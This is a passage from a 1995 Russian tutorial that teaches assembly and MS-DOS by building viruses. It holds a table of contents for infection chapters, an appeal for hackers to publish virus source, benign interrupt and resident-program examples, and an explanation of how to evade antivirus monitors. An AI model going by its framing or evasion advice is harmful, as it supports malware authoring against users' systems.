╔══VirTech 1.0, 1995═══════════════════════════════════════════════════════╗ ╟──────╥╥─────────────────────────────────────────────────────────────╥╥────╢ ║ ║║"ВИРУСЫ", "ЧЕРВИ", "ДРАКОНЫ" И РЕЗИДЕНТЫ НА СЛУЖБЕ ПРОГРЕССА ║║ ║ ║ ║║ при изучении языка ассемблера и системы MS-DOS ║║ ║ ║ ║║ (интенсивная методика) ║║ ║ ║ ╠╩═════════════════════════════════════════════════════════════╩╣ ║ ╚══════╩═══════════════════════════════════════════════════════════════╩════╝ БЛАГОДАРНОСТЬ: ══════════════ Великая благодарность всем тем, кто, просмотрев рукопись, высказал цен- ные замечания и советы. ПРИЗЫВ: ═══════ ХЭКЕРЫ, А ТАК ЖЕ ИМ СОЧУВСТВУЮЩИЕ! призываем Вас включиться в благое де- ло повышения уровня образования программирующей общественности! Опубликуйте тексты вашего virusware, уже ловимого антивирусными средствами; снабдите его подробными коментариями, чтобы прочитавший обогатил свое знание языка ассем- блера и системы MS-DOS, взял на заметку наиболее остроумные приемы программи- рования и т.п. HACKERS & HACKERLIKE ONES! Our sinsere appeal to you: make your contribution in process of improving programmers' skill level! Publish the sources of your virusware which have neutralized by antivirusware & hence are no more your classified know how. Provide it with detail commentary for reader to get use of it. This way programming folk could improve their knolidge of assembler & MS-DOS, enrich their skill by new wit know how & so on. ОГЛАВЛЕНИЕ: ══════════ гл.1 (ЗДЕСЬ МЫ ПУДРИМ ВАМ МОЗГИ) гл.2 ЛИТЕРАТУРА И ИНСТРУМЕНТАРИЙ гл.3 ПРЕРЫВАНИЯ, ТАБЛИЦА ВЕКТОРОВ ПРЕРЫВАНИЙ, СОЗДАНИЕ РЕЗИДЕНТОВ (идеология) гл.4 СОЗДАНИЕ РЕЗИДЕНТНЫХ ПРОГРАММ (практическая реализация) гл.5 ЧУТЬ-ЧУТЬ о PSP гл.6 ПЕРВАЯ ПАКОСТЬ (создание ублюдочного резидентного вируса, грохающего за- ражаемую программу) гл.7 НЕКОТОРЫЙ ПРОГРЕСС (создание ублюдочного резидентного вируса, не гроха- ющего данные). ПЕРВОЕ ЗНАКОМСТВО СО СТЭЛС-ВИРУСАМИ (невидимками) гл.8 СОЗДАНИЕ ВЕСЬМА ПРОДВИНУТОГО (по сравнению с предыдущими) ВИРУСА, ПОДОБ- НО V2, ПРЯЧУЩЕМУСЯ В ЗАГОЛОВОК ЕХЕ-ФАЙЛА, НЕПОРТЯЩЕГО ДАННЫЕ И ЗАПУСКА- ЮЩЕГО ПОРАЖЕННЫЙ ФАЙЛ С ПЕРВОГО РАЗА гл.9 СОЗДАНИЕ "ДРАКОНА", ШПИОНЯЩЕГО ЗА ЗАПУСКОМ ПРОГРАММ гл.10 СОЗДАНИЕ ВИРУСА, ИСПОЛНЯЮЩЕГО ФУНКЦИИ ЗАГРУЗЧИКА ЕХЕ-ФАЙЛОВ гл.11 СОЗДАНИЕ ПРИМИТИВНЕЙШЕГО ВИРУСА-СПУТНИКА ДЛЯ ЕХЕ-ФАЙЛОВ гл.12 СТАНДАРТНЫЙ СПОСОБ ЗАРАЖЕНИЯ ЕХЕ-ФАЙЛОВ гл.13 СТАНДАРТНЫЙ СПОСОБ ЗАРАЖЕНИЯ СОМ-ФАЙЛОВ гл.14 ИСПОЛЬЗОВАНИЕ ФУНКЦИЙ FindFirst и FindNext ДЛЯ УВЕЛИЧЕНИЯ ПОРАЖАЮЩЕЙ СПОСОБНОСТИ гл.15 В КОТОРОЙ ВЫ УЗНАЕТЕ О ПРОКЛЯТИИ MS-DOS -- БУТОВЫХ ВИРУСАХ (создание антивирусного фильтра и примитивного бутового вируса) АНОНС СЛЕДУЮЩЕЙ ВЕРСИИ ══════════════════════ Этот текст, -- VirTech 1.0, -- что-то вроде ликбеза. В следующей версии планируется рассказ (с подкреплением соответствующими примерами) о: - способах подавления трассировки; - вирусах, заражающих системные драйверы; - вирусах, заражающих файлы путем модификации FAT; - криптографии, полиморфных вирусах, в том числе обходящих эвристические анализаторы (такие, как "Doctor Web"); - сетевых червях; - модульной сборке вирусов в памяти; - вирусах, работающих в защищенном режиме процессоров 80286,80386 и по- этому неуязвимых для мониторов и ревизоров. СПИСОК ТЕРМИНОВ И СОКРАЩЕНИЙ ════════════════════════════ "дракон" (слэнг амер. хэкеров) - программа, выполняющая действия, не фиксируемые пользователем PC; -- совсем не обязательно - "вирус". Это может быть что-либо системное, или - какое-либо hackerware. "жокей" (слэнг амер. хэкеров) - программист, решающий задачу, что назы- вается влоб, нетворчески. BIOS - (базовая система ввода/вывода) - грубо говоря, это такая микрос- хема, в которую навечно зашита куча стандартных подпрограмм, реализующих ввод/вывод информации. Обращение к BIOS-у <==> вызов какой-либо из этих под- программ. PC - персональный компьютер (вообще-то в тексте в большинстве случаев правильнее было бы сказать "процессор", но "PC" -- кажется более наглядно). ОЗУ - оперативная память п/п-ма - подпрограмма PSP - префикс программного сегмента HDD - жесткий диск ("винчестер") FDD - гибкий диск - дискета MBR - главный загрузочный сектор жесткого диска (Master Boot Record) BR - загрузочный сектор жесткого диска (Boot Record) V1 - первый из описанных ниже вирусов; V2,V3,... - соответственно... гл.1 (ЗДЕСЬ МЫ ПУДРИМ ВАМ МОЗГИ) /может быть это даже можно назвать предисловием/ ════════════════════════════════════════════════ А ЗАЧЕМ ЭТО НУЖНО ? ───(реклама технической стороны метода)──── Опыт педагогики неоспоримо свидетельствует, что изучить что-либо в крат- чайший срок и с максимальным качеством можно лишь при наличии сильной внут- ренней мотивации, говоря проще -- в случае если это действительно Вас прика- лывает. Изучать ассемблер по классической методике -- уж поверьте нам -- тоска зеленая, а вот "вирусы", "драконы", резиденты и проч. -- нечто весьма при- кольное, подчастую нетривиальное. Здесь (при условии минимума осторожности) открывается воистину бескрай- нее поле деятельности; язык и основы низкоуровневой организации системы MS-DOS изучаются с потрясающей скоростью и практически без зубрежки. А ХОРОШО ЛИ ЭТО ? ───(моральный аспект)──── ДА -- В случае, если Вы не ставите своей целью кому-либо крупно насолить, зас- тавить мир содрогнуться и вообще не ищите славы Герострата (надеемся что так). Помните, что интеллект проявляется вовсе не в умении форматировать "вин- честер" и необратимо грохать данные. Шедевры вирусной технологии как правило совершенно безвредны и даже не вызывают серьезного перерасхода ресурсов PC (оператив. память, быстродействие и проч.). Кроме того -- здесь реализуется масса новых технических решений, могущих быть использованными и в др. областях (защита информации в PC, гибкое управ- ление ресурсами PC, низкоуровневая доводка программ, создание всевозможного HackerWare и проч. и проч. и проч...). Выскажем подозрение, что "вирусология" (равно как и "контр-вирусология") невольно явилась кузницей высококвалифицированных кадров для многих областей компьютерного ремесла. А ЗАКОННО ЛИ ЭТО ? ───(правовой аспект)──── Полагаем, что да. На западе регулярно публикуются листинги свежих виру- сов, нередко снабжаемые исчерпывающими коментариями. В США любое оружие можно купить в магазине и это не является незаконным, отнюдь -- это способствует повышению уровня личной безопасности. Так же и с "вирусами" -- чем больше мы знать о них тем менее желанен будет запретный плод для людей, склонных противопоставлять себя системе. Со своей стороны авторы выражают искреннюю надежду что Читатель сам прекрасно разбирается за что его действительно могут вздрючить (вспомните о легендарном студенте Моррисе), и за что не могут. Надеемся так же что Читатель наделен достаточной ответственностью и не стремится еще больше подорвать нашу гибнущую экономику. ЧУТЬ-ЧУТЬ ОБ ОБМАНУТЫХ НАДЕЖДАХ ────────(ориентировка)───────── Когда авторы только начинали создание сего текста, они думали, что это будет суперпростое, супердоступное, суперпонятное пособие по изучению ассем- блера и MS-DOS. Поэтому в качестве главного принципа построения был выбран вот какой: "не грех повторить материал разок, и еще разок, а может быть -- и еще разок". Продвинутый читатель, понявший все с первого раза может восклик- нуть: "ну что за занудство! жуют одно и то же! Да я это и раньше знал!" Но это пособие для тех, кто еще не все знает, а только собирается узнать. И есть риск, что не все все сразу поймут. Авторы ориентируются в изложении именно на такого читателя (похожий принцип реализуется в туризме: во время похода пер- вым идет самый слабый турист и весь отряд ровняется по нему. Никто не рискует выбиться из сил до объявления привала). Заранее просим прощение за стиль написания, может быть режущий Ваше эс- тетическое восприятие. И вот еще что: все представленные алгоритмы -- в первую очередь -- наг- лядное пособие. Модельные задачи. Все они работают (отлажены и испытаны). Но главный их принцип такой: "здесь эффективность принесена в жертву понятнос- ти". Настоящие же вирусы пишутся не совсем так. Там экономится каждый байт кода. Цель -- минимальная длина при максимальном быстродействии. Иногда алго- ритм такой программы столь хитро закручен, что трудно разобраться в нем, даже имея исходник. Вы, поняв основной принцип, можете написать такую программу и это будет уже чисто творческий акт. И самое последнее: данное пособие вряд-ли может принести пользу, если Вы не будете читать (или хотя-бы просматривать) основную литературу /1/,/2/,/4/. Данное пособие не рассчитано на дублирование базовых сведений. гл.2 ЛИТЕРАТУРА И ИНСТРУМЕНТАРИЙ ═════════════════════════════════ ЛИТЕРАТУРА ══════════ Клевых книжек навалом; -- Look here: 1. Питер Абель. Язык ассемблера для IBM PC и программирования. пер. с англ. Москва: "Высшая школа", 1992. << это - хороший ликбезовский справочник >> 2. Р.Джордэйн. Справочник программиста персональных компьютеров типа IBM PC, XT и AT. Москва, финансы и статистика, 1991. 3. Использование Turbo Assembler при разработке программ. Киев: "Диалек- тика", 1994. 4. П.Нортон. Персональный компьютер фирмы IBM и операционная система MS-DOS. пер. с англ. Москва: "Радио и связь", 1992. << это - справочник по прерываниям >> 5. П.Нортон, Д.Соухэ. Язык ассемблера для IBM PC пер. с англ. Москва: "Компьютер", 1993. 6. Е.Касперский. Компьютерные вирусы в MS-DOS. Москва: "ЭДЕЛЬ" -- "Рене- санс", 1992. 7. Я.Белецкий. Энциклопедия языка СИ. Москва: "Мир", 1992. << там много ценного о TASM-е >> {8}. Подшивки журнала "Монитор" с момента основания. 9. А.Щербаков. Разрушающие программные воздействия. Москва: "Эдель"; Ки- ев : Фирма ВЕК, 1993. ИНСТРУМЕНТАРИЙ ══════════════ Клевых Tools -- до фигА и больше. Рекомендуем для начала не бить воробь- ев из пушек -- не злоупотреблять фирменными пакетами Turbo Debugger's и т.п. Может пригодиться: 1. Работать лучше всего не в Norton Comander-e, а в Volkov Comander-e поскольку последний позволяет выгонять резиденты из памяти без перезагрузки PC). ──────────────────────────┐ 2. tasm.exe турбоассемблер──┬───пакет TASM !!! НЕОБХОДИМО!│ 3. tlink.exe турболинкер────┘ ──────────────────────────┘ 4. Thelp.exe + гипертексты -- восхитительный электронный справочник по прерываниям, структуре данных и т.д. 5. Diskedit.exe и ndd.exe (на системной дискете) -- если Вы случайно грохнете MBR или Boot-Record (на той-же системной дискете имейте выписанные с диска MBR и Boot-Record). Или же заимейте rescue-дискету (см. Norton utilities) 6. debug.com (из пакета MS-DOS) (тривиальщина); 7. hiew.exe -- (Hacker's view Version 4.17) экспресс ре дактор EXE- фай- лов; содержит ассемблер 8088 и дизассемблер 80386, позволяет кучу всего; 8. afd.com (Advanced Fullscreen Debug Version 1.00 (и выше)) чУдная штучка, позволяет кучу всего; 9. Low.exe -- средство для просмотра области данных BIOS; 10. Code.exe -- выдает key- и scan- коды клавиш; 11. txtscr.com -- грабер текстового экрана в файл; гл.3 ПРЕРЫВАНИЯ, ТАБЛИЦА ВЕКТОРОВ ПРЕРЫВАНИЙ, СОЗДАНИЕ РЕЗИДЕНТОВ (ИДЕОЛОГИЯ) (начнем) ══════════════════════════════════════════════════════════════════════════════ ┌─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─═─┐ │ ПЕДПОЛАГАЕТСЯ, ЧТО ЧИТАТЕЛЬ УЖЕ ЗНАКОМ С МЕХАНИЗМОМ АДРЕССАЦИИ 8088,│ │СТЕКОМ, ПОДПРОГРАММАМИ, КОМАНДАМИ ПЕРЕХОДОВ И ПЕРЕСЫЛОК. Если же -- нет, --│ │он при желании может изучить этот необходимый минимум достаточно быстро. │ └───────────────────────────────────────────────────────────────────────────┘ Прерывание (термин еще пока-что темный) -- зачем оно вообще нужно ? Дело в том, что прерывания возникают в случае, если PC необходимо немед- ленно среагировать на какую-либо исключительную ситуацию, изменить режим ра- боты или выполнить определенную специфическую операцию. Не будем пока давать многоэтажные классификации прерываний, скажем лишь что: ПРЕРЫВАНИЕ -- это сигнал, генерируемый аппаратурой (аппаратное прерыва- ние) или Вашей программой (программное прерывание), в ответ на который PC вы- зывает определенную подпрограмму (п/п), а после завершения ее работы возвра- щает управление обратно Вам. Каждое прерывание характеризуется СВОИМ ОРИГИ- НАЛЬНЫМ НОМЕРОМ. (есть прерыв-я N0,N1,N2,N3 и т.д. -- всего их - 256 штук). Где находится п/п-ма, которой передается управление по сигналу-прерыванию? Либо в BIOS-е (ПЗУ), либо в системе (модули MS-DOS, которые после включения PC загружаются в память и сидят там до самого момента выключения). Вызов ап- паратного прерывания скрыт от нашего глаза, тогда как вызов программного -- с точки зрения программиста -- это такая команда (опережая события назовем ее: INT <номер прерывания>). Например: Вы нажали любую клавишу. Тут же PC сгенерил сигнал (прерыва- ние), в ответ на который активизировалась специальная п/п-ма, которая "рас- толковала" компьютеру какую именно клавишу Вы нажали. Это -- пример АППАРАТ- НОГО прерывания -- сигнала, генерируемого АППАРАТУРОЙ. Еще пример: Вы хотите напечатать на принтере строку символов (или даже просто -- один символ). При этом Вы конечно можете написать специальную программу (очень сложную), кото- рая будет это делать. Она будет работать с портами принтера (брррр-рр-ррр!), производить тысячу и одну проверку и т.д. А можно поступить иначе. Ведь такая программа уже существует (в BIOS-е). Нужно лишь ее вызвать. А это делается при помощи специальной команды -- генерации ПРОГРАММНОГО прерывания. Выгля- деть вызов прерывания для печати 1 символа будет так: INT 17h (но перед этим Вы еще должны будете определенным образом загрузить регистры AX и DX). Как просто! Даже не верится. ГЛАВНАЯ ИДЕЯ (ЗА ЧТО МЫ СЕЙЧАС ВОЮЕМ): прерывания возникают в весьма важные моменты работы PC. Существуют п/п-мы их обработки. Эти п/п-мы могут быть заменены нами на наши собственные п/п-мы, которые делают в вышеупомяну- тые важные моменты то, что НАМ нужно! А это -- путь к полному контролю всех функций PC. -- В наиболее ответственные моменты МЫ решаем как PC должен пос- тупить. А вот механизм реализации прерываний: 1.Возник сигнал прерывания номер такого-то (над его сущностью Вы пожа- луйста пока не размышляйте); 2.PC сообразил, что следует прервать на время выполнение текущей прог- раммы и передать управление соответствующей п/п-ме. 3.PC запоминает, куда нужно вернуть управление, когда эта п/п-ма завер- шится и передет управл-е п/п-ме. 4.П/п-ма выполнилась, завершилась и управл-е вернулось к основной прог- рамме, причем в то место, перед которым возник сигнал прерывания. Как правило п/п-ма, обрабатывающая сигнал прерывания, сидит где-то дале- ко от места пользовательской программы, где прерыв-е возникло. Следовательно, чтобы вызвать эту далекую п/п-му (CALL Far) необходимо знать ее сегментно-оф- фсетный адрес (2 слова). Как PC узнает этот адрес (тем боллее если мы дерзнем заменить стандар- тную п/п-му нашей собственной) ? Очень просто. Всего имеется 256 прерываний с разными номерами. Каждому из них соответствует определенная п/п-ма обработки. Каждая п/п-ма имеет свой адрес вызова (2 слова). И эти двухсловесные адреса хранятся в ОПРЕДЕЛЕННОЙ области памяти в СТРОГОМ ПОРЯДКЕ (по возрастанию номера прерывания). Эта об- ласть памяти называется таблицей векторов прерываний (термин еще пока-что темный, и Вы о нем не думайте). Эта область памяти (оперативной памяти PC) начинается по адресу 0000:0000 (т.е. в самом начале) и занимает 1 Кб. Например: адрес п/п-ы прерывания N0 (реакция на ситуацию "деление на нуль") нахо- дится в таблице векторов прерываний по адресу 0000:0000--segment и 0000:0002--offset адрес п/п-ы прерывания N5 (печать экрана) находится в таблице векторов прерываний по адресу 0000:0014--segment и 0000:0016--offset Если мы замыслим заменить исходную стандартную п/п-му нашей собственной, мы должны: 1. Засунуть куда-то эту нашу п/п-му (и чтобы она там действительно была! И была готова обработать соотв. прер-е). 2. Изменить в таблице векторов адрес исходной стандартной п/п-ы на адрес нашей. Отметим, что пихать нашу п/п-му обработки прерыв-я в то-же место, где сидела исходная (иногда это физически возможно) лучше не надо, хотябы потому, что исходная нам ЕЩЕ ОЧЕНЬ МОЖЕТ ПРИГОДИТЬСЯ. ПОДРОБНО опишем механизм того, как PC реализует обработку прерываний: 1. PC прячет в стек регистр флагов. 2. PC прячет в стек содержимое регистра CS. 3. PC прячет в стек значение IP для следующей команды. 4. PC делает JMP Far <сегмент. адрес п/п>:[<офсетн. адрес п/п>] (джамп @@?? на п/п-у обработки прерывания). ПРИ ЭТОМ все операции 1-4 (PUSHF, PUSH CS, , JMP FAR ) содер- жатся неявно В ОДНОЙ КОМАНДЕ "INT" вызова прерывания (если прерыв-е реализу- ется программно). 5. Далее выполняется п/п-ма обработки прерывания. 6. П/п-ма обработки прерывания завершается специальной командой IRET, которая состоит из следующих действий: а) помещается из стека слово в регистр IP (и увелич. SP на 2) ───┐ б) помещается из стека слово в регистр CS (и увелич. SP на 2) ├────┐ в) помещается из стека слово в регистр флагов (увелич. SP на 2)──┘ │ │ │ т.е. это- JMP Far обратно, в программу │ пользователя, на команду, следующую за той, │ которая осуществила вызвлв прерыв-я │ + восстановление флагов <──────────────────────────────────┘ А что такое п/п-ма обработки прерывания? Очень часто - трудно сказать; считайте, что стандартная п/п-ма обработки прерывания (та - которую PC имеет изначально) -- своего рода -- черный ящик. И, как в любом черном ящике, здесь нам доступны, в лучшем случае, лишь ВХОД и ВЫХОД. Пусть, например, мы хотим напечатать на экране PC один символ. Это легко можно сделать, дав прерывание номер 10h. При этом будет вызвана п/п-ма печати символа, о структуре которой мы ничего не знаем. Как и большинство п/п-м, эта п/п-ма имеет входные и вы- ходные параметры, через которые мы загружаем в нее и получаем обратно инфор- мацию. ВХОДНЫЕ И ВЫХОДНЫЕ ПАРАМЕТРЫ П/П-МЫ ПОМЕЩАЮТСЯ В РЕГИСТРЫ ПРОЦЕССОРА. Например, -- мы страстно хотим напечатать на экране символ 'a'. Тогда нам необходимо сделать следующие действия: MOV AH,0Eh ;это означает что п/п-ма должна ПЕЧАТАТЬ ОДИН СИМВОЛ──────┐ ; │ MOV AL,61h ;п/п-ма должна печатать КОНКРЕТНЫЙ СИМВОЛ 'a'(его код=61h)│ ;└───┬────────────────────────────────────────────────────┘ ; └─загрузка входных параметров ; INT 10h ;приказ "печатай!" (генерация прерывания N 10h) а вот выходных параметров это прерывание (вернее сказать- данный способ его использования) не имеет А вот как выглядит при этом работа процессора: ┌──────────────────────────────────────────────────────────┐ │ рис.1 │: └──────────────────────────────────────────────────────────┘ ── НАША (ПОЛЬЗОВАТЕЛЬСКАЯ) ПРОГРММА ──────│─── П/П-ма ОБРАБОТКИ ПРЕРЫВАНИЙ ─── │ │ │ ДЕЙСТВИЯ ПРОЦЕССОРА МНЕМОКОДЫ │ МНЕМОКОДЫ ДЕЙСТВИЯ ('на пальцах'): │ ПРОЦЕССОРА: ═══════>════╗ │ ╔═══>═════╗ AH<---0Eh MOV AH,0Eh║ │ ║.печать..║ .печать.. AL<---61h MOV AL,61h║ │ ║.символа.║ .символа. PUSHF───────────────┬┬───> INT 10h ╚═══>═══╝.........║ ......... PUSH CS ││ ╔═══════════════<════╤╗IRET<──║──────┐┌─POP IP PUSH IP ││ ╚══>═╗ │ │╚═════<═╝ └┤ POP CS JMP Far по адресу ──┴┘ ║ │ │ └─POPF <0:40>:[<0:42>] │ │ └──┬─┘ └───┬┘ │ │ │ │ │ └─> путь выполнения @@?? │ │ │ слово по┘ └─── слово по адресу 0:40 адресу 0:42 Покажем, опираясь на описонный выше подробный механизм выполнения преры- ваний, как реализовать прер-е НЕ пользуясь классической командой INT. Печата- ем символ 'a' (см. пример 1): ┌──────────────────────────────────────────────────────────┐ │ пример 1 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N1 для демонстрации механизма вызова прерываний ASSUME CS:CodeSegment ;─────────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; ; ;──запасаем в стеке информацию, необходимую для автоматического─┐ ; возврата из п/п-мы обработки прерыв-я │ ; ; │ PUSHF ; │ PUSH CS ; │ MOV BX,OFFSET after_int ;───┐ │ PUSH BX ;─────────┴─засунуть в стек IP точки возврата│ ; ; из п/п-ы обработки прерывания │ ;───────────────────────────────────────────────────────────────┘ ; MOV AH,0Eh ;входные MOV AL,61h ; параметры прерыв-я 10h ; ; XOR DX,DX ; DX = 0 напрямую, как Вы знаете, засунуть MOV DS,DX ; DS = 0 константу в регистр DS невозможно ; ; JMP dword ptr DS:[40h] ;длин. джамп по адресу, котор. находится ; ; в ячейках 0000:0040h и 0000:0042h after_int: ; RET ;закончить программу и вернуться в DOS ; ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Пояснение: команда JMP dword ptr DS:[40h] (длинный JMP) осуществляет пе- реход по адресу, который хранится по адресу DS:[40h]. Это -- адрес п/п-мы об- работчика прерывания 10h. При этом в стек нужно уронить регистр флагов, ре- гистры CS и IP. Т.о. для того, чтобы команда IRET, завершающая обработчик прерывания 10h вернула управление нашей программе (на метку after_int), необ- ходимо сохранить в стеке определенную информацию (см. пример 1). ───────────┬──────────────────────────────────────────────────────┬──────────── │ в случае, если кто-то не знаком с пакетом TASM, то: └──────────────────────────────────────────────────────┘ А теперь -- создадим загрузочный модуль. Вы можете при помощи любого текстового редактора перетащить вышепред- ставленный текст исходника в текстовой файл с расширением .asm, например -- proba.asm А после этого сделать сначала .OBJ файл: tasm.exe /l proba.asm └┬┘ └──── будет создан файл листинга proba.lst (там Вам покажут ошибки - если они есть) а потом - и .COM файл: tlink.exe /t proba.obj └┬┘ └─── будет создан .COM файл Если Вы не знакомы с пакетом TASM и это - Ваш первый опыт, то можете по- ка-что пропустить (особо не задумываясь) всякие диррективы, предшествующие и последующие за текстом основной программы (TITLE ...; ASSUME ...; CodeSegment SEGMENT PARA; ORG(100h);MainProcedure ENDP; CodeSegment ENDS; END Start ). Поступайте с ними пока-что чисто механически. (На досуге можете почитать /1/,/2/,/7/) Итак, у нас есть готовый COM. модуль, который можно загрузить и выпол- нить. И он напечатает литеру 'a'. Замечательно! А вот тут пример того как решить ту же задачу не JMP Far-ом, а -- CALL Far-ом Разница в том, что в этом случае не нужно прятать в стек значения CS и IP для точки возврата из п/п-мы обработки прерывания (CALL Far оказался "ум- нее" - он делает это автоматически). ┌──────────────────────────────────────────────────────────┐ │ пример 2 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N2 для демонстрации механизма вызова прерываний ASSUME CS:CodeSegment ;─────────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; ; XOR DX,DX ; DX = 0 MOV DS,DX ; DS = 0 ; PUSHF ;запасаем информацию, необходимую для автома- ; ;тического ыозврата из п/п-ы обработки прерыв-я ; MOV AH,0Eh ;входные MOV AL,61h ; параметры прерыв-я 10h ; ; CALL dword ptr DS:[40h] ;длинный вызов п/п-ы обработки прерыв-я 10h ; ;(по адресу 0:40h - адрес п/п-ы обработки) ; ;(два слова) ; RET ;закончить программу и вернуться в DOS ; ; ; MainProcedure ENDP ; CodeSegment ENDS END Start И последнее, что мы сделаем в этой главе, - научимся давать вызов преры- вания, не пользуясь INT-ом и не обращаясь каждый раз к таблице векторов. За- чем ? Это иногда полезно. Дело в том, что 'вирусы' и 'драконы' очень часто пользуются прерываниями и при этом должны оставаться необнаруживаемыми. А ес- ли прерывание дается командой INT, то охранные системы (всевозможные антиви- русные мониторы) тут же узнаЮт об этом и могут насторожиться. Если мы посто- янно пользуемся таблицей векторов, то где гарантия, что антивирусные мониторы межу делом не подложили в нее адрес СВОЕЙ п/п-мы, и, вместо того, чтобы полу- чить сервис п/п-мы-обработчика прерыв-я, мы попадаем в засаду. А если мы сох- раним в коде нашей программы адрес п/п-мы исходного обработчика прерыв-я (и в тот момент будем абсолютно уверены, что имеем дело не с 'оборотнем') то в дальнейшем сможем смело делать JMP Far или CALL Far без опасения быть обнару- женными. Вот готовая программа: (коментарии см. ниже) ┌──────────────────────────────────────────────────────────┐ │ пример 3 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N3 для демонстрации механизма вызова прерываний ASSUME CS:CodeSegment ;─────────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; ; JMP over_data ; перепрыгнем через данные ; ; saved_int10: DD 0 ; данные (хранилище для адреса INT 10h ; ; -- 2 слова) ; over_data: XOR DX,DX ; DX = 0 MOV DS,DX ; DS = 0 ; ;──сохраняем в хранилище адрес исходн. п/п-мы INT 10h (2 слова)─┐ ; ; │ MOV AX,DS:[10h*4] ;мы указываем лишь порядко-│ MOV word ptr CS:[saved_int10 ],AX ;вый номер прерывания │ MOV AX,DS:[10h*4+2] ; │ MOV word ptr CS:[saved_int10+2],AX ; │ ;───────────────────────────────────────────────────────────────┘ ; ;──запасаем в стеке информацию, необходимую для автоматического─┐ ; возврата из п/п-мы обработки прерыв-я │ ; ; │ PUSHF ; │ PUSH CS ; │ MOV BX,OFFSET after_int ;───┐ засунуть в стек │ PUSH BX ;───┴─ IP точки возврата │ ;───────────────────────────────────────────────────────────────┘ ; ; MOV AH,0Eh ;входные параметры MOV AL,61h ; прерыв-я 10h (печатать 'a') ; JMP dword ptr CS:[saved_int10] ;длин. джамп по адресу, котор. на- ; ; ходится теперь в хранилище after_int: ; ; saved_int10 ; RET ;закончить программу и вывалиться ; ; в DOS ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Что здесь нового? Совсем немного. Во-первых мы перетащили адрес п/п-мы-обработчика прерывания 10h из таблицы векторов в тело нашей прогр-мы. Во-вторых мы теперь делаем JMP Far не на адрес в таблице векторов (dword ptr 00:[40h]), а на адрес, сохраненный в теле нашей прогр-мы (dword ptr CS:[saved_int10]). Есть одна громоздкость -- данные (saved_int10: DD 0) дол- жны определяться перед их использованием (MOV word ptr CS:[saved_int10 ],AX) и, следовательно, мы должны в начале через них перепрыгнуть. Этот бардак свя- зан с особенностями TASM-овской компиляции. гл.4 СОЗДАНИЕ РЕЗИДЕНТНЫХ ПРОГРАММ (практическая реализация) ════════════════════════════════════════════════════════════ Итак, мы познакомились с механизмом работы прерываний и научились реали- зовывать вызов прерываний на уровне обычный JMP-ов и CALL-ов и даже не ис- пользовать при этом таблицу векторов. Чудесно! Теперь об создании резидентных программ (именно таковыми являются 'дра- коны' и 90% всех 'вирусов'). Что такое резидентная программа (в дальнейшем - просто - резидент) ? Это такая программа, которая находится в оперативной памяти постоянно (обычные, нерезидентные программы присутствуют в памяти лишь во время их не- посредственного исполнения; когда их выполнение заканчивается -- они "умира- ют" - память занятая ими - освобождается . Резидент же может обитать в ОЗУ, [кстати rezide - по англ. 'обитать'] не будучи в данный момент исполняем, но в то же время, - готовый к действию). Вот как распределяется память при выполнении обычных и резидент. прог- рамм (КРАЙНЕ упрощенно): ┌──────────────────────────────────────────────────────────┐ │ рис.2 │: └──────────────────────────────────────────────────────────┘ обычная программа: До загрузки чего-либо: ┌────────┬──────────────┬──────────────────────────────────────── │таблица │ │ │векторов│ область DOS │ свободная память . . . . . . . . . . │прерыв-й│ │ └────────┴──────────────┴──────────────────────────────────────── 0:0 ────> старшие адреса Загрузили и исполняем обычную программу: │ ┌───────────────┘ ┌────────┬──────────────┬────────V──────────┬──────────────────── │таблица │ │ TETRIS.EXE │ │векторов│ область DOS │(есть такая глупая │ свободная память . │прерыв-й│ │ игрушка) │ └────────┴──────────────┴───────────────────┴──────────────────── 0:0 После того, как прогр-а завершилась: ┌────────┬──────────────┬──────────────────────────────────────── │таблица │ │ │векторов│ область DOS │ свободная память . . . . . . . . . . │прерыв-й│ │ (все вернулось на кругИ своя...) └────────┴──────────────┴──────────────────────────────────────── 0:0 ═══════════════════════════════════════════════════════════════════════════ Теперь - что касается резидентов: До загрузки чего-либо: ┌────────┬──────────────┬──────────────────────────────────────── │таблица │ │ │векторов│ область DOS │ свободная память . . . . . . . . . . │прерыв-й│ │ └────────┴──────────────┴──────────────────────────────────────── 0:0 Загрузили резидент:─────────────┐ │ ┌───────────────┘ ┌────────┬──────────────┬────────V──────────┬──────────────────── │таблица │ │ KEYR23.COM │ │векторов│ область DOS │(драйвер рус. кла- │ свободная память . │прерыв-й│ │ виатуры) │ └────────┴──────────────┴───────────────────┴──────────────────── 0:0 ┌─────────────────────────┘ │ И так┘ -- до окончания работы на PC! Резидент будет сидеть в ОЗУ и быть всегда готов вам услужить. Если Вы теперь загрУзите tetris, он попадет вот куда: ┌────────┬──────────────┬───────────────────┬──────────┬───────── │таблица │ │ KEYR23.COM │ │ │векторов│ область DOS │(драйвер рус. кла- │TETRIS.EXE│свободная │прерыв-й│ │ │ виатуры) │ │память... └────────┴──────────────┴─│─────────────────┴──────────┴───────── 0:0 └стал резидентом Только программы типа Volkov Comander могут безболезненно удалять рези- денты из памяти (и то лишь те, которые были загружены после них {удаляющих}). Сделать программу резидентной (постоянно присутствующей в памяти) -- ЭЛЕМЕНТАРНО. Вот один из способов (в дальнейшем мы рассмотрим их все): (прокоментируем ниже) ┌──────────────────────────────────────────────────────────┐ │ пример 4 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N4 для демонстрации посадки резидента ASSUME CS:CodeSegment ;─────────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; ; ; ; MOV AX,0E61h ; напечатать INT 10h ; символ 'a' resident_end: ; ; MOV DX,OFFSET resident_end ; DX<-- адрес последней команды ; ; рез-та+1 INT 27h ; вернуться в DOS ; ; оставив программу резидентной ; ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Если Вы захотите откомпилировать и запустить вышеданный пример, то лучше перед этим выйти из Norton 